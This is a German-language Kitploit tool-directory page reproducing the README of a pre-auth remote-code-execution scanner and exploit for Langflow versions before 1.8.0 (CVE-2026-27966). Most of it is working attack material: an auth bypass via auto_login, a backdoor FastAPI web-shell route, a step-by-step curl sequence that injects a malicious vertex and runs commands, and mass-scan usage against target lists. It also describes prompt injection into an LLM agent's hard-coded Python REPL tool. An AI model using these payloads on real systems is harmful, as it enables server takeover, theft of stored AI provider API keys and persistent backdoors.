Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27966 — Pre-auth RCE-Scanner für Langflow < 1.8.0 — Route Injection + Vertex Injection → Code Execution (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-27966
AufklärungSchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlKI-Sicherheit
GitHubshinthink/cve-2026-27966

CVE-2026-27966

Pre-auth RCE-Scanner für Langflow < 1.8.0 — Route Injection + Vertex Injection → Code Execution (CVSS 9.8)

Repository anzeigen
212vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27966 — Langflow Remote Code Execution Scanner

Pre-Auth Route Injection + Vertex Injection → Python Code Execution


Überblick

CVE-2026-27966 ist eine kritische (CVSS 9,8) Remote-Code-Ausführungs-Schwachstelle ohne Authentifizierung in Langflow-Versionen vor 1.8.0. Die Schwachstelle beruht auf allow_dangerous_code=True, das im CSV-Agent-Komponenten hart codiert ist, und setzt damit LangChains python_repl_ast-Tool für nicht authentifizierte Prompt-Injection frei.

Darüber hinaus fehlt mehreren API-Endpunkten die ordnungsgemäße Authentifizierung, was ein direktes Einschleusen von Routen und Flow-Knoten ermöglicht – selbst wenn der CSV-Agent nicht konfiguriert ist.

Betroffene Versionen

Langflow-VersionStatus
< 1.8.0Verwundbar
>= 1.8.0Behoben

Angriffsvektoren

Dieser Scanner testet drei verschiedene Angriffspfade:

1. Route Injection (auto_login-Bypass)

GET  /api/v1/auto_login          → Session / API-Key abrufen
POST /api/v1/custom_component    → Backdoor-Route registrieren
GET  /api/{backdoor}?c=command   → RCE

2. Direkte Route Injection (kein API-Key)

POST /api/v1/custom_component    → Backdoor-Route registrieren
GET  /api/{backdoor}?c=command   → RCE

3. Build Vertex Injection (Build ohne Auth)

GET  /api/v1/flows/basic_examples  → Flow-UUIDs extrahieren (26 offengelegt)
POST /api/v1/build/{UUID}/vertices → bösartigen Vertex injizieren
POST /api/v1/run/{UUID}            → Vertex-Code ausführen → RCE

Schwachstellenmechanismus

Ursache

In src/lfx/src/lfx/components/langchain_utilities/csv_agent.py ist im CSV-Agent-Knoten allow_dangerous_code=True hart codiert, wodurch automatisch LangChains python_repl_ast-Tool verfügbar gemacht wird:

agent_kwargs = {
    "verbose": self.verbose,
    "allow_dangerous_code": True,  # hart codiert – kann nicht über UI deaktiviert werden
}
agent_csv = create_csv_agent(..., **agent_kwargs)

Dadurch kann jeder Prompt, der den CSV-Agent erreicht, beliebigen Python-Code ausführen via:

Action: python_repl_ast
Action Input: __import__("os").system("command")

Ungesicherte API-Oberfläche

Die Langflow REST-API stellt mehrere Endpunkte ohne Authentifizierung bereit:

EndpunktAuthentifizierungOffengelegte Daten
GET /api/v1/versionKeineLangflow-Version
GET /api/v1/healthKeineInstanzstatus
GET /api/v1/flows/basic_examples/Keine26 Beispiel-Flow-UUIDs + Struktur
POST /api/v1/build/{uuid}/verticesKeineAkzeptiert beliebige Code-Injection
POST /api/v1/users/KeineBenutzererstellung (inaktiv)
GET /openapi.jsonKeineVollständige API-Dokumentation

Auth-Bypass via auto_login

Auf Instanzen, bei denen auto_login aktiviert ist (Standard in vielen Docker-Bereitstellungen), erhält ein Angreifer eine gültige Session und einen API-Key:

curl -sk 'https://target.com/api/v1/auto_login'
# Gibt Session mit access_token zurück → vollständiger API-Zugriff

Mit einem gültigen API-Key kann der Angreifer via POST /api/v1/custom_component eine Backdoor-FastAPI-Route registrieren, die bis zum Serverneustart im Speicher bleibt:

from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
    import os
    return os.popen(c).read()
app.include_router(router, prefix="/api")

Warum CVSS 9,8

MetrikWert
AngriffsvektorNetzwerk (remote)
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
AuswirkungsbereichUnverändert
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch

Installation

git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt

Verwendung

# Einzelnes Ziel
python cve_2026_27966.py -t ziel.com:7860

# Massen-Scan
python cve_2026_27966.py -f targets.txt

# Massen-Scan + Ergebnisse speichern
python cve_2026_27966.py -f targets.txt -o rce.txt

# Nur Erkennung (keine Ausnutzung)
python cve_2026_27966.py -f targets.txt --no-exploit

# Ausführliche Ausgabe
python cve_2026_27966.py -f targets.txt -v

Argumente

  -t, --target      Einzelnes Ziel (IP:Port oder Domain)
  -f, --file        Zielliste, ein Ziel pro Zeile
  -o, --output      RCE-Ergebnisse in Datei speichern
  --threads         Gleichzeitige Worker (Standard: 30)
  --no-exploit      Nur Erkennung, keine RCE-Versuche
  -v, --verbose     Alle Ergebnisse anzeigen, auch Nicht-RCE-Ziele

Proof of Concept

Erkennung & Ausnutzung

$ python cve_2026_27966.py -t ziel.com:7860 -v
  CVE-2026-27966 — Langflow RCE Scanner
  CVSS 9,8 | Pre-Auth | Route Injection → RCE

  Host     : ziel.com:7860
  Langflow : JA v1.2.0
  Verwundbar: JA
  API-Key  : NICHT ERFORDERLICH
  RCE      : JA
  Ausgabe  : uid=0(root) gid=0(root) groups=0(root)
  Zeit     : 12.3s

Massen-Scan-Ausgabe

  CVE-2026-27966 Langflow RCE Scanner
  Ziele: 4127 | Threads: 30 | Ausnutzung: EIN
  -------------------------------------------------------

  [RCE]  192.168.10.50     v1.2.0    7.3s
         uid=0(root) gid=0(root) groups=0(root)
  [AUTH] target.internal:4433 v1.2.0   14.1s  (API-Key)
  [500/4127] scannen... (12%)

  -------------------------------------------------------
  Gesamt: 4127 | Langflow: 47 | RCE: 3 | API-Geschützt: 41
  -------------------------------------------------------

Manuelle Ausnutzung

Schritt 1 — Langflow erkennen

curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}

Schritt 2 — Flow-UUIDs extrahieren

curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"

Schritt 3 — Backdoor-Vertex injizieren

curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
  -H 'Content-Type: application/json' \
  -d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'

Schritt 4 — Befehl ausführen

curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'

Auswirkungen

Eine erfolgreiche Ausnutzung ermöglicht Remote-Code-Ausführung als root im Langflow-Docker-Container. Von dort aus kann ein Angreifer:

  • API-Keys aus Langflows SQLite-Datenbank extrahieren (OpenAI, Anthropic, Gemini, usw.)
  • Zugriff auf verbundene Vektor-Datenbanken und externe Dienste erhalten
  • Über benutzerdefinierte Komponenten persistente Backdoors bereitstellen
  • In interne Netzwerke pivotieren
  • Cryptominer oder C2-Infrastruktur bereitstellen

Haftungsausschluss

Tool herunterladen